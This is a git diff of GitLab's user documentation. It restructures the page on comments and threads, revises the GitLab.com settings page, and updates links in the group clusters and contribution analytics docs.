diff --git a/doc/user/discussions/img/swipe_view.png b/doc/user/discussions/img/swipe_view.png
deleted file mode 100644
index e6f5e5053af..00000000000
--- a/doc/user/discussions/img/swipe_view.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/discussions/img/thread_view.png b/doc/user/discussions/img/thread_view.png
deleted file mode 100644
index e2db44aa604..00000000000
--- a/doc/user/discussions/img/thread_view.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/discussions/img/turn_off_lock.png b/doc/user/discussions/img/turn_off_lock.png
deleted file mode 100644
index aae1def6f72..00000000000
--- a/doc/user/discussions/img/turn_off_lock.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/discussions/img/turn_on_lock.png b/doc/user/discussions/img/turn_on_lock.png
deleted file mode 100644
index f36ffc8831b..00000000000
--- a/doc/user/discussions/img/turn_on_lock.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/discussions/img/two_up_view.png b/doc/user/discussions/img/two_up_view.png
deleted file mode 100644
index 3b6ddfbe1be..00000000000
--- a/doc/user/discussions/img/two_up_view.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/discussions/img/unresolved_threads_v14_1.png b/doc/user/discussions/img/unresolved_threads_v14_1.png
new file mode 100644
index 00000000000..806dfdc995c
--- /dev/null
+++ b/doc/user/discussions/img/unresolved_threads_v14_1.png
Binary files differ
diff --git a/doc/user/discussions/index.md b/doc/user/discussions/index.md
index cf57afb8324..825f9be6ba6 100644
--- a/doc/user/discussions/index.md
+++ b/doc/user/discussions/index.md
@@ -5,343 +5,294 @@ info: "To determine the technical writer assigned to the Stage/Group associated
type: reference, howto
---
-# Threads **(FREE)**
+# Comments and threads **(FREE)**
GitLab encourages communication through comments, threads, and
[code suggestions](../project/merge_requests/reviews/suggestions.md).
-For example, you can create a comment in the following places:
+There are two types of comments:
-- Issues
-- Epics
-- Merge requests
-- Snippets
-- Commits
-- Commit diffs
+- A standard comment.
+- A comment in a thread, which has to be resolved.
-There are standard comments, and you also have the option to create a comment
-in the form of a thread. A comment can also be [turned into a thread](#start-a-thread-by-replying-to-a-standard-comment)
-when it receives a reply.
+In a comment, you can enter [Markdown](../markdown.md) and use [quick actions](../project/quick_actions.md).
-The comment area supports [Markdown](../markdown.md) and [quick actions](../project/quick_actions.md).
-You can [suggest code changes](../project/merge_requests/reviews/suggestions.md) in your comment,
-which the user can accept through the user interface. You can edit your own
-comment at any time, and anyone with the [Maintainer role](../permissions.md) or
-higher can also edit a comment made by someone else.
-
-You can also reply to a comment notification email to reply to the comment if
-[Reply by email](../../administration/reply_by_email.md) is configured for your GitLab instance. Replying to a standard comment
-creates another standard comment. Replying to a threaded comment creates a reply in the thread. Email replies support
-[Markdown](../markdown.md) and [quick actions](../project/quick_actions.md), just as if you replied from the web.
+You can [suggest code changes](../project/merge_requests/reviews/suggestions.md) in your commit diff comment,
+which the user can accept through the user interface.
-NOTE:
-There is a limit of 5,000 comments for every object, for example: issue, epic, and merge request.
+## Places you can add comments
-## Resolvable comments and threads
+You can create comments in places like:
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/5022) in GitLab 8.11.
-> - Resolvable threads can be added only to merge request diffs.
-> - Resolving comments individually was [removed](https://gitlab.com/gitlab-org/gitlab/-/issues/28750) in GitLab 13.6.
-
-Thread resolution helps keep track of progress during planning or code review.
-
-Every thread in merge requests, commits, commit diffs, and
-snippets is initially displayed as unresolved. They can then be individually resolved by anyone
-with at least Developer access to the project or by the author of the change being reviewed.
-If the thread has been resolved and a non-member un-resolves their own response,
-this also unresolves the discussion thread.
-If the non-member then resolves this same response, this resolves the discussion thread.
-
-The need to resolve threads prevents you from forgetting to address feedback and lets you
-hide threads that are no longer relevant.
-
-!["A thread between two people on a piece of code"](img/thread_view.png)
-
-### Commit threads in the context of a merge request
-
-For reviewers with commit-based workflow, it may be useful to add threads to
-specific commit diffs in the context of a merge request. These threads
-persist through a commit ID change when:
-
-- force-pushing after a rebase
-- amending a commit
+- Commit diffs
+- Commits
+- Designs
+- Epics
+- Issues
+- Merge requests
+- Snippets
-To create a commit diff thread:
+Each object can have as many as 5,000 comments.
-1. Navigate to the merge request **Commits** tab. A list of commits that
- constitute the merge request are shown.
+## Add a comment to a merge request diff
- ![Merge request commits tab](img/merge_request_commits_tab.png)
+You can add comments to a merge request diff. These comments
+persist, even when you:
-1. Navigate to a specific commit, select the **Changes** tab (where you
- are only be presented diffs from the selected commit), and leave a comment.
+- Force-push after a rebase.
+- Amend a commit.
- ![Commit diff discussion in merge request context](img/commit_comment_mr_context.png)
+To add a commit diff comment:
-1. Any threads created this way are shown in the merge request's
- **Discussions** tab and are resolvable.
+1. To select a specific commit, on the merge request, select the **Commits** tab, select the commit
+ message. To view the latest commit, select the **Changes** tab.
+1. By the line you want to comment on, hover over the line number and select **{comment}**.
+ You can select multiple lines by dragging the **{comment}** icon.
+1. Type your comment and select **Start a review** or **Add comment now**.
- ![Merge request Discussions tab](img/commit_comment_mr_discussions_tab.png)
+The comment is displayed on the merge request's **Discussions** tab.
-Threads created this way only appear in the original merge request
-and not when navigating to that commit under your project's
-**Repository > Commits** page.
+The comment is not displayed on your project's **Repository > Commits** page.
NOTE:
-When a link of a commit reference is found in a thread inside a merge
-request, it is automatically converted to a link in the context of the
-current merge request.
-
-### Marking a comment or thread as resolved
+When your comment contains a reference to a commit included in the merge request,
+it's automatically converted to a link in the context of the current merge request.
+For example, `28719b171a056960dfdc0012b625d0b47b123196` becomes
+`https://gitlab.example.com/example-group/example-project/-/merge_requests/12345/diffs?commit_id=28719b171a056960dfdc0012b625d0b47b123196`.
-You can mark a thread as resolved by selecting the **Resolve thread**
-button at the bottom of the thread.
+## Add a comment to a commit
-!["Resolve thread" button](img/resolve_thread_button_v13_3.png)
+You can add comments and threads to a particular commit.
-Alternatively, you can mark each comment as resolved individually.
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Repository > Commits**.
+1. Below the commits, in the **Comment** field, enter a comment.
+1. Select **Comment** or select the down arrow (**{chevron-down}**) to select **Start thread**.
-!["Resolve comment" button](img/resolve_comment_button.png)
-
-### Move all unresolved threads in a merge request to an issue
+WARNING:
+Threads created this way are lost if the commit ID changes after a
+force push.
-To continue all open threads from a merge request in a new issue, select
-**Resolve all threads in new issue**.
+## Add a comment to an image
-![Open new issue for all unresolved threads](img/btn_new_issue_for_all_threads.png)
+In merge requests and commit detail views, you can add a comment to an image.
+This comment can also be a thread.
-Alternatively, when your project only accepts merge requests [when all threads
-are resolved](#only-allow-merge-requests-to-be-merged-if-all-threads-are-resolved),
-an **open an issue to resolve them later** link displays in the merge
-request widget.
+1. Hover your mouse over the image.
+1. Select the location where you want to comment.
-![Link in merge request widget](img/resolve_thread_open_issue_v13_9.png)
+An icon is displayed on the image and a comment field is displayed.
-This prepares an issue with its content referring to the merge request and
-the unresolved threads.
+![Start image thread](img/start_image_discussion.gif)
-![Issue mentioning threads in a merge request](img/preview_issue_for_threads.png)
+## Reply to a comment by sending email
-Hitting **Create issue** causes all threads to be marked as resolved and
-add a note referring to the newly created issue.
+If you have ["reply by email"](../../administration/reply_by_email.md) configured,
+you can reply to comments by sending an email.
-![Mark threads as resolved notice](img/resolve_thread_issue_notice.png)
+- When you reply to a standard comment, another standard comment is created.
+- When you reply to a threaded comment, it creates a reply in the thread.
-You can now proceed to merge the merge request from the UI.
+You can use [Markdown](../markdown.md) and [quick actions](../project/quick_actions.md) in your email replies.
-### Moving a single thread to a new issue
+## Who can edit comments
-To create a new issue for a single thread, you can use the **Resolve this
-thread in a new issue** button.
+You can edit your own comment at any time.
-![Create issue for thread](img/new_issue_for_thread.png)
+Anyone with the [Maintainer role](../permissions.md) or
+higher can also edit a comment made by someone else.
-This directs you to a new issue prefilled with the content of the
-thread, similar to the issues created for delegating multiple
-threads at once. Saving the issue marks the thread as resolved and
-add a note to the merge request thread referencing the new issue.
+## Prevent comments by locking an issue
-![New issue for a single thread](img/preview_issue_for_thread.png)
+You can prevent public comments in an issue or merge request.
+When you do, only project members can add and edit comments.
-### Only allow merge requests to be merged if all threads are resolved
+Prerequisite:
-You can prevent merge requests from being merged until all threads are
-resolved.
+- In merge requests, you must have at least the Developer role.
+- In issues, you must have at least the Reporter role.
-Navigate to your project's settings page, select the
-**Only allow merge requests to be merged if all threads are resolved** check
-box and hit **Save** for the changes to take effect.
+1. On the right sidebar, next to **Lock issue** or **Lock merge request**, select **Edit**.
+1. On the confirmation dialog, select **Lock**.
-![Only allow merge if all the threads are resolved settings](img/only_allow_merge_if_all_threads_are_resolved.png)
+Notes are added to the page details.
-From now on, you can't merge from the UI until all threads
-are resolved.
+If an issue or merge request is locked and closed, you cannot reopen it.
-![Only allow merge if all the threads are resolved message](img/resolve_thread_open_issue_v13_9.png)
+## Mark a comment as confidential
-### Automatically resolve merge request diff threads when they become outdated
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207473) in GitLab 13.9.
+> - [Deployed behind a feature flag](../feature_flags.md), disabled by default.
+> - Disabled on GitLab.com.
+> - Not recommended for production use.
+> - To use in GitLab self-managed instances, ask a GitLab administrator to enable it. **(FREE SELF)**
-You can automatically resolve merge request diff threads on lines modified
-with a new push.
+WARNING:
+This feature might not be available to you. Check the **version history** note above for details.
-Navigate to your project's settings page, select the **Automatically resolve
-merge request diffs threads on lines changed with a push** check box and hit
-**Save** for the changes to take effect.
+You can make a comment confidential, so that it is visible only to project members
+who have at least the Reporter role.
-![Automatically resolve merge request diff threads when they become outdated](img/automatically_resolve_outdated_discussions.png)
+1. Below the comment, select the **Make this comment confidential** checkbox.
+1. Select **Comment**.
-From now on, any threads on a diff are resolved by default if a push
-makes that diff section outdated. Threads on lines that don't change and
-top-level resolvable threads are not automatically resolved.
+![Confidential comments](img/confidential_comments_v13_9.png)
-## Commit threads
+## Show only comments
-You can add comments and threads to a particular commit under your
-project's **Repository > Commits**.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/26723) in GitLab 11.5.
-WARNING:
-Threads created this way are lost if the commit ID changes after a
-force push.
+For issues and merge requests with many comments, you can filter the page to show comments only.
-## Threaded discussions
+1. Open a merge request's **Discussion** tab, or epic or issue's **Overview** tab.
+1. On the right side of the page, select from the filter:
+ - **Show all activity**: Display all user comments and system notes
+ (issue updates, mentions from other issues, changes to the description, and so on).
+ - **Show comments only**: Display only user comments.
+ - **Show history only**: Display only activity notes.
-While resolvable threads are only available to merge request diffs,
-threads can also be added without a diff. You can start a specific
-thread which looks like a thread, on issues, commits, snippets, and
-merge requests.
+![Notes filters dropdown options](img/index_notes_filters.png)
-To start a threaded discussion, select the **Comment** button toggle dropdown,
-select **Start thread**, and then select **Start thread** when you're ready to
-post the comment.
+GitLab saves your preference, so it persists when you visit the same page again
+from any device you're logged into.
-![Comment type toggle](img/comment_type_toggle.gif)
+## Assign an issue to the commenting user
-This posts a comment with a single thread to allow you to discuss specific
-comments in greater detail.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/191455) in GitLab 13.1.
-![Thread comment](img/discussion_comment.png)
+You can assign an issue to a user who made a comment.
-## Image threads
+1. In the comment, select the **More Actions** menu.
+1. Select **Assign to commenting user**.
-Sometimes a thread is revolved around an image. With image threads,
-you can easily target a specific coordinate of an image and start a thread
-around it. Image threads are available in merge requests and commit detail views.
+![Assign to commenting user](img/quickly_assign_commenter_v13_1.png)
-To start an image thread, hover your mouse over the image. Your mouse pointer
-should convert into an icon, indicating that the image is available for commenting.
-Simply click anywhere on the image to create a new thread.
+Select the button again to unassign the commenter.
-![Start image thread](img/start_image_discussion.gif)
+## Create a thread by replying to a standard comment
-After you select the image, a comment form is displayed that would be the start
-of your thread. After you save your comment, a new badge is displayed on
-top of your image. This badge represents your thread.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/30299) in GitLab 11.9.
-NOTE:
-This thread badge is typically associated with a number that is only used as a visual
-reference for each thread. In the merge request thread tab,
-this badge is indicated with a comment icon, because each thread renders a new
-image section.
+When you reply to a standard comment, you create a thread.
-Image threads also work on diffs that replace an existing image. In this diff view
-mode, you can toggle the different view modes and still see the thread point badges.
+Prerequisites:
-| 2-up | Swipe | Onion Skin |
-|:-----------:|:----------:|:----------:|
-| ![2-up view](img/two_up_view.png) | ![swipe view](img/swipe_view.png) | ![onion skin view](img/onion_skin_view.png) |
+- You must have at least the [Guest role](../permissions.md#project-members-permissions).
+- You must be in an issue, merge request, or epic. Commits and snippets threads are not supported.
-Image threads also work well with resolvable threads. Resolved threads
-on diffs (not on the merge request discussion tab) appear collapsed on page
-load and have a corresponding badge counter to match the counter on the image.
+To create a thread by replying to a comment:
-![Image resolved thread](img/image_resolved_discussion.png)
+1. On the top right of the comment, select **{comment}** (**Reply to comment**).
-## Lock discussions
+ ![Reply to comment button](img/reply_to_comment_button.png)
-For large projects with many contributors, it may be useful to stop threads
-in issues or merge requests in these scenarios:
+ The reply area is displayed.
-- The project maintainer has already resolved the thread and it is not helpful
- for continued feedback.
-- The project maintainer has already directed new conversation
- to newer issues or merge requests.
-- The people participating in the thread are trolling, abusive, or otherwise
- being unproductive.
+1. Type your reply.
+1. Select **Comment** or **Add comment now** (depending on where in the UI you are replying).
-In these cases, a user with Developer permissions or higher in the project can lock (and unlock)
-an issue or a merge request, using the "Lock" section in the sidebar. For issues,
-a user with Reporter permissions can lock (and unlock).
+The top comment is converted to a thread.
-| Unlock | Lock |
-| :-----------: | :----------: |
-| ![Turn off discussion lock](img/turn_off_lock.png) | ![Turn on discussion lock](img/turn_on_lock.png) |
+## Create a thread without replying to a comment
-System notes indicate locking and unlocking.
+You can create a thread without replying to a standard comment.
-![Discussion lock system notes](img/discussion_lock_system_notes.png)
+Prerequisites:
-In a locked issue or merge request, only team members can add new comments and
-edit existing comments. Non-team members are restricted from adding or editing comments.
+- You must have at least the [Guest role](../permissions.md#project-members-permissions).
+- You must be in an issue, merge request, commit, or snippet.
-| Team member | Non-team member |
-| :-----------: | :----------: |
-| ![Comment form member](img/lock_form_member.png) | ![Comment form non-member](img/lock_form_non_member.png) |
+To create a thread:
-Additionally, locked issues and merge requests can't be reopened.
+1. Type a comment.
+1. Below the comment, to the right of the **Comment** button, select the down arrow (**{chevron-down}**).
+1. From the list, select **Start thread**.
+1. Select **Start thread** again.
-## Confidential Comments
+A threaded comment is created.
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207473) in GitLab 13.9.
-> - [Deployed behind a feature flag](../feature_flags.md), disabled by default.
-> - Disabled on GitLab.com.
-> - Not recommended for production use.
-> - To use in GitLab self-managed instances, ask a GitLab administrator to enable it. **(FREE SELF)**
+![Thread comment](img/discussion_comment.png)
-WARNING:
-This feature might not be available to you. Check the **version history** note above for details.
+## Resolve a thread
-When creating a comment, you can make it visible only to the project members (users with Reporter and higher permissions).
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/5022) in GitLab 8.11.
+> - Resolvable threads can be added only to merge request diffs.
+> - Resolving comments individually was [removed](https://gitlab.com/gitlab-org/gitlab/-/issues/28750) in GitLab 13.6.
-To create a confidential comment, select the **Make this comment confidential** check box before you submit it.
+You can resolve a thread when you want to finish a conversation.
-![Confidential comments](img/confidential_comments_v13_9.png)
+Prerequisites:
-## Filtering notes
+- You must have at least the [Developer role](../permissions.md#project-members-permissions)
+ or be the author of the change being reviewed.
+- You must be in an issue, merge request, commit, or snippet.
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/26723) in GitLab 11.5.
+To resolve a thread:
-For issues with many comments like activity notes and user comments, sometimes
-finding useful information can be hard. There is a way to filter comments from single notes and threads for merge requests and issues.
+1. Go to the thread.
+1. Do one of the following:
+ - In the top right of the original comment, select the **Resolve thread** (**{check-circle}**) icon.
+ - Below the last reply, in the **Reply** field, select **Resolve thread**.
+ - Below the last reply, in the **Reply** field, enter text, select the **Resolve thread** checkbox, and select **Add comment now**.
-From a merge request's **Discussion** tab, or from an epic/issue overview, find the filter's dropdown menu on the right side of the page, from which you can choose one of the following options:
+At the top of the page, the number of unresolved threads is updated.
-- **Show all activity**: displays all user comments and system notes
- (issue updates, mentions from other issues, changes to the description, etc).
-- **Show comments only**: only displays user comments in the list.
-- **Show history only**: only displays activity notes.
+![Count of unresolved threads](img/unresolved_threads_v14_1.png)
-![Notes filters dropdown options](img/index_notes_filters.png)
+### Move all unresolved threads in a merge request to an issue
-After you select one of the filters in a given issue or merge request, GitLab saves
-your preference, so that it persists when you visit the same page again
-from any device you're logged into.
+If you have multiple unresolved threads in a merge request, you can
+create an issue to resolve them separately.
-## Start a thread by replying to a standard comment
+- In the merge request, at the top of the page, select **Resolve all threads in new issue**.
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/30299) in GitLab 11.9
+ ![Open new issue for all unresolved threads](img/btn_new_issue_for_all_threads.png)
-To reply to a standard (non-thread) comment, you can use the **Reply to comment** button.
+All threads are marked as resolved and a link is added from the merge request to
+the newly created issue.
-![Reply to comment button](img/reply_to_comment_button.png)
+### Move one unresolved thread in a merge request to an issue
-The **Reply to comment** button is only displayed if you have permissions to reply to an existing thread, or start a thread from a standard comment.
+If you have one specific unresolved thread in a merge request, you can
+create an issue to resolve it separately.
-Selecting the **Reply to comment** button brings the reply area into focus and you can type your reply.
+- In the merge request, under the last reply to the thread, next to the
+ **Resolve thread** button, select **Resolve this thread in a new issue**.
-![Reply to comment feature](img/reply_to_comment.gif)
+ ![Create issue for thread](img/new_issue_for_thread.png)
-Replying to a non-thread comment converts the non-thread comment to a
-thread after the reply is submitted. This conversion is considered an edit
-to the original comment, so a note about when it was last edited appears underneath it.
+The thread is marked as resolved and a link is added from the merge request to
+the newly created issue.
-This feature exists only for issues, merge requests, and epics. Commits, snippets, and merge request diff threads are
-not supported yet.
+### Prevent merge unless all threads are resolved
-## Assign an issue to the commenting user
+You can prevent merge requests from being merged until all threads are
+resolved.
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/191455) in GitLab 13.1.
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > General**.
+1. Expand **Merge requests**.
+1. Under **Merge checks**, select the **All discussions must be resolved** checkbox.
+1. Select **Save changes**.
-You can assign an issue to a user who made a comment.
+### Automatically resolve threads in a merge request when they become outdated
-In the comment, select the **More Actions** menu, and then select **Assign to commenting user**.
+You can set merge requests to automatically resolve threads when lines are modified
+with a new push.
-Select the button again to unassign the commenter.
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > General**.
+1. Expand **Merge requests**.
+1. Under **Merge options**, select the
+ **Automatically resolve merge request diff discussions when they become outdated** checkbox.
+1. Select **Save changes**.
-![Assign to commenting user](img/quickly_assign_commenter_v13_1.png)
+Threads are now resolved if a push makes a diff section outdated.
+Threads on lines that don't change and top-level resolvable threads are not resolved.
-## Enable or disable Confidential Comments **(FREE SELF)**
+## Enable or disable confidential comments **(FREE SELF)**
-Confidential Comments is under development and not ready for production use. It is
+Confidential comments are under development and not ready for production use. The feature is
deployed behind a feature flag that is **disabled by default**.
[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
can enable it.
diff --git a/doc/user/gitlab_com/index.md b/doc/user/gitlab_com/index.md
index f371de30b88..ef458db67f0 100644
--- a/doc/user/gitlab_com/index.md
+++ b/doc/user/gitlab_com/index.md
@@ -6,12 +6,12 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# GitLab.com settings **(FREE SAAS)**
-This page contains information about the settings that are used on
-[GitLab.com](https://about.gitlab.com/pricing/).
+This page contains information about the settings that are used on GitLab.com, available to
+[GitLab SaaS](https://about.gitlab.com/pricing/) customers.
## SSH host keys fingerprints
-Below are the fingerprints for GitLab.com's SSH host keys. The first time you
+Below are the fingerprints for SSH host keys on GitLab.com. The first time you
connect to a GitLab.com repository, one of these keys is displayed in the output.
| Algorithm | MD5 (deprecated) | SHA256 |
@@ -39,6 +39,13 @@ and has its own dedicated IP address (`192.237.158.143`).
The IP address for `mg.gitlab.com` is subject to change at any time.
+### Service Desk custom mailbox
+
+On GitLab.com, there's a mailbox configured for Service Desk with the email address:
+`contact-project+%{key}@incoming.gitlab.com`. To use this mailbox, configure the
+[custom suffix](../project/service_desk.md#configuring-a-custom-email-address-suffix) in project
+settings.
+
## Backups
[See our backup strategy](https://about.gitlab.com/handbook/engineering/infrastructure/production/#backups).
@@ -97,14 +104,14 @@ which is part of [GitLab CI/CD](#gitlab-cicd).
## GitLab CI/CD
-Below are the current settings regarding [GitLab CI/CD](../../ci/README.md).
+Below are the current settings regarding [GitLab CI/CD](../../ci/index.md).
Any settings or feature limits not listed here are using the defaults listed in
the related documentation.
-| Setting | GitLab.com | Default |
-|-------------------------------------|------------|---------|
-| Artifacts maximum size (compressed) | 1 GB | 100 MB |
-| Artifacts [expiry time](../../ci/yaml/README.md#artifactsexpire_in) | From June 22, 2020, deleted after 30 days unless otherwise specified (artifacts created before that date have no expiry). | deleted after 30 days unless otherwise specified |
+| Setting | GitLab.com | Default |
+|-------------------------------------|-------------|---------|
+| Artifacts maximum size (compressed) | 1 GB | 100 MB |
+| Artifacts [expiry time](../../ci/yaml/index.md#artifactsexpire_in) | From June 22, 2020, deleted after 30 days unless otherwise specified (artifacts created before that date have no expiry). | deleted after 30 days unless otherwise specified |
| Scheduled Pipeline Cron | `*/5 * * * *` | `3-59/10 * * * *` |
| [Max jobs in active pipelines](../../administration/instance_limits.md#number-of-jobs-in-active-pipelines) | `500` for Free tier, unlimited otherwise | Unlimited |
| [Max CI/CD subscriptions to a project](../../administration/instance_limits.md#number-of-cicd-subscriptions-to-a-project) | `2` | Unlimited |
@@ -118,14 +125,14 @@ the related documentation.
GitLab.com has the following [account limits](../admin_area/settings/account_and_limit_settings.md)
enabled. If a setting is not listed, it is set to the default value.
-If you are near or over the repository size limit, you can
-[reduce your repository size with Git](../project/repository/reducing_the_repo_size_using_git.md).
+If you are near or over the repository size limit, you can either
+[reduce your repository size with Git](../project/repository/reducing_the_repo_size_using_git.md) or [purchase additional storage](https://about.gitlab.com/pricing/licensing-faq/#can-i-buy-more-storage).
-| Setting | GitLab.com | Default |
-|-------------------------------|------------|---------|
+| Setting | GitLab.com | Default |
+|-------------------------------|-------------|---------|
| [Repository size including LFS](../admin_area/settings/account_and_limit_settings.md#repository-size-limit) | 10 GB | Unlimited |
-| Maximum import size | 5 GB | Unlimited ([Modified](https://gitlab.com/gitlab-org/gitlab/-/issues/251106) from 50MB to unlimited in GitLab 13.8. |
-| Maximum attachment size | 10 MB | 10 MB |
+| Maximum import size | 5 GB | Unlimited ([Modified](https://gitlab.com/gitlab-org/gitlab/-/issues/251106) from 50MB to unlimited in GitLab 13.8.) |
+| Maximum attachment size | 10 MB | 10 MB |
NOTE:
`git push` and GitLab project imports are limited to 5 GB per request through
@@ -138,7 +145,7 @@ GitLab.com uses the IP ranges `34.74.90.64/28` and `34.74.226.0/24` for traffic
fleet. This whole range is solely allocated to GitLab. You can expect connections from webhooks or repository mirroring to come
from those IPs and allow them.
-GitLab.com is fronted by Cloudflare. For incoming connections to GitLab.com you might need to allow CIDR blocks of Cloudflare ([IPv4](https://www.cloudflare.com/ips-v4) and [IPv6](https://www.cloudflare.com/ips-v6)).
+GitLab.com is fronted by Cloudflare. For incoming connections to GitLab.com, you might need to allow CIDR blocks of Cloudflare ([IPv4](https://www.cloudflare.com/ips-v4) and [IPv6](https://www.cloudflare.com/ips-v6)).
For outgoing connections from CI/CD runners, we are not providing static IP
addresses. All GitLab runners are deployed into Google Cloud Platform (GCP). Any
@@ -164,32 +171,32 @@ also load certain page content directly from common public CDN hostnames.
The following limits apply for [Webhooks](../project/integrations/webhooks.md):
-| Setting | GitLab.com | Default |
-|----------------------|------------|---------|
+| Setting | GitLab.com | Default |
+|----------------------|-------------|---------|
| [Webhook rate limit](../../administration/instance_limits.md#webhook-rate-limit) | `120` calls per minute for GitLab Free, unlimited for GitLab Premium and GitLab Ultimate | Unlimited |
| [Number of webhooks](../../administration/instance_limits.md#number-of-webhooks) | `100` per project, `50` per group | `100` per project, `50` per group |
-| Maximum payload size | 25 MB | 25 MB |
+| Maximum payload size | 25 MB | 25 MB |
## Shared runners
GitLab has shared runners on GitLab.com that you can use to run your CI jobs.
-For more information, see [choosing a runner](../../ci/runners/README.md).
+For more information, see [choosing a runner](../../ci/runners/index.md).
## Sidekiq
GitLab.com runs [Sidekiq](https://sidekiq.org) with arguments `--timeout=4 --concurrency=4`
and the following environment variables:
-| Setting | GitLab.com | Default |
-|----------------------------------------|------------|-----------|
-| `SIDEKIQ_DAEMON_MEMORY_KILLER` | - | `1` |
-| `SIDEKIQ_MEMORY_KILLER_MAX_RSS` | `2000000` | `2000000` |
-| `SIDEKIQ_MEMORY_KILLER_HARD_LIMIT_RSS` | - | - |
-| `SIDEKIQ_MEMORY_KILLER_CHECK_INTERVAL` | - | `3` |
-| `SIDEKIQ_MEMORY_KILLER_GRACE_TIME` | - | `900` |
-| `SIDEKIQ_MEMORY_KILLER_SHUTDOWN_WAIT` | - | `30` |
-| `SIDEKIQ_LOG_ARGUMENTS` | `1` | `1` |
+| Setting | GitLab.com | Default |
+|----------------------------------------|-------------|-----------|
+| `SIDEKIQ_DAEMON_MEMORY_KILLER` | - | `1` |
+| `SIDEKIQ_MEMORY_KILLER_MAX_RSS` | `2000000` | `2000000` |
+| `SIDEKIQ_MEMORY_KILLER_HARD_LIMIT_RSS` | - | - |
+| `SIDEKIQ_MEMORY_KILLER_CHECK_INTERVAL` | - | `3` |
+| `SIDEKIQ_MEMORY_KILLER_GRACE_TIME` | - | `900` |
+| `SIDEKIQ_MEMORY_KILLER_SHUTDOWN_WAIT` | - | `30` |
+| `SIDEKIQ_LOG_ARGUMENTS` | `1` | `1` |
NOTE:
The `SIDEKIQ_MEMORY_KILLER_MAX_RSS` setting is `16000000` on Sidekiq import
@@ -362,7 +369,7 @@ See [non-configurable limits](../../security/rate_limits.md#non-configurable-lim
for information on rate limits that are not configurable, and therefore also
used on GitLab.com.
-## GitLab.com Logging
+## GitLab.com logging
We use [Fluentd](https://gitlab.com/gitlab-com/runbooks/tree/master/logging/doc#fluentd)
to parse our logs. Fluentd sends our logs to
@@ -377,7 +384,7 @@ You can view more information in our runbooks such as:
- Our [current log retention policies](https://gitlab.com/gitlab-com/runbooks/-/tree/master/docs/logging#retention)
- A [diagram of our logging infrastructure](https://gitlab.com/gitlab-com/runbooks/-/tree/master/docs/logging#logging-infrastructure-overview)
-### Job Logs
+### Job logs
By default, GitLab does not expire job logs. Job logs are retained indefinitely,
and can't be configured on GitLab.com to expire. You can erase job logs
@@ -390,7 +397,7 @@ In addition to the GitLab Enterprise Edition Omnibus install, GitLab.com uses
the following applications and settings to achieve scale. All settings are
publicly available at [chef cookbooks](https://gitlab.com/gitlab-cookbooks).
-### Elastic Cluster
+### Elastic cluster
We use Elasticsearch and Kibana for part of our monitoring solution:
diff --git a/doc/user/group/clusters/index.md b/doc/user/group/clusters/index.md
index 4de464822f7..0d885183a41 100644
--- a/doc/user/group/clusters/index.md
+++ b/doc/user/group/clusters/index.md
@@ -66,7 +66,7 @@ automatically. If you're using [Auto DevOps](../../../topics/autodevops/index.md
for deployments with a cluster not managed by GitLab, you must ensure:
- The project's deployment service account has permissions to deploy to
- [`KUBE_NAMESPACE`](../../project/clusters/index.md#deployment-variables).
+ [`KUBE_NAMESPACE`](../../project/clusters/deploy_to_cluster.md#deployment-variables).
- `KUBECONFIG` correctly reflects any changes to `KUBE_NAMESPACE`
(this is [not automatic](https://gitlab.com/gitlab-org/gitlab/-/issues/31519)). Editing
`KUBE_NAMESPACE` directly is discouraged.
@@ -96,14 +96,14 @@ per [multiple Kubernetes clusters](#multiple-kubernetes-clusters) When specifyin
this is automatically set as an environment variable (`KUBE_INGRESS_BASE_DOMAIN`) during
the [Auto DevOps](../../../topics/autodevops/index.md) stages.
-The domain should have a wildcard DNS configured to the Ingress IP address. [More details](../../project/clusters/index.md#base-domain).
+The domain should have a wildcard DNS configured to the Ingress IP address. [More details](../../project/clusters/gitlab_managed_clusters.md#base-domain).
## Environment scopes **(PREMIUM)**
When adding more than one Kubernetes cluster to your project, you need to differentiate
them with an environment scope. The environment scope associates clusters with
[environments](../../../ci/environments/index.md) similar to how the
-[environment-specific CI/CD variables](../../../ci/variables/README.md#limit-the-environment-scope-of-a-cicd-variable)
+[environment-specific CI/CD variables](../../../ci/variables/index.md#limit-the-environment-scope-of-a-cicd-variable)
work.
While evaluating which environment matches the environment scope of a
@@ -122,7 +122,7 @@ For example, if your project has the following Kubernetes clusters:
| Test | `test` | Group |
| Development| `*` | Group |
-And the following environments are set in [`.gitlab-ci.yml`](../../../ci/yaml/README.md):
+And the following environments are set in [`.gitlab-ci.yml`](../../../ci/yaml/index.md):
```yaml
stages:
@@ -163,7 +163,7 @@ are deployed to the Kubernetes cluster, see the documentation for
## Security of runners
For important information about securely configuring runners, see
-[Security of runners](../../project/clusters/add_remove_clusters.md#security-of-runners)
+[Security of runners](../../project/clusters/cluster_access.md#security-of-runners)
documentation for project-level clusters.
## More information
diff --git a/doc/user/group/contribution_analytics/index.md b/doc/user/group/contribution_analytics/index.md
index 12d7eaf2f12..670ecc48370 100644
--- a/doc/user/group/contribution_analytics/index.md
+++ b/doc/user/group/contribution_analytics/index.md
@@ -8,12 +8,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3090) in GitLab 12.2 for subgroups.
-With Contribution Analytics you can get an overview of the following activity in your
-group:
-
-- Issues
-- Merge requests
-- Push events
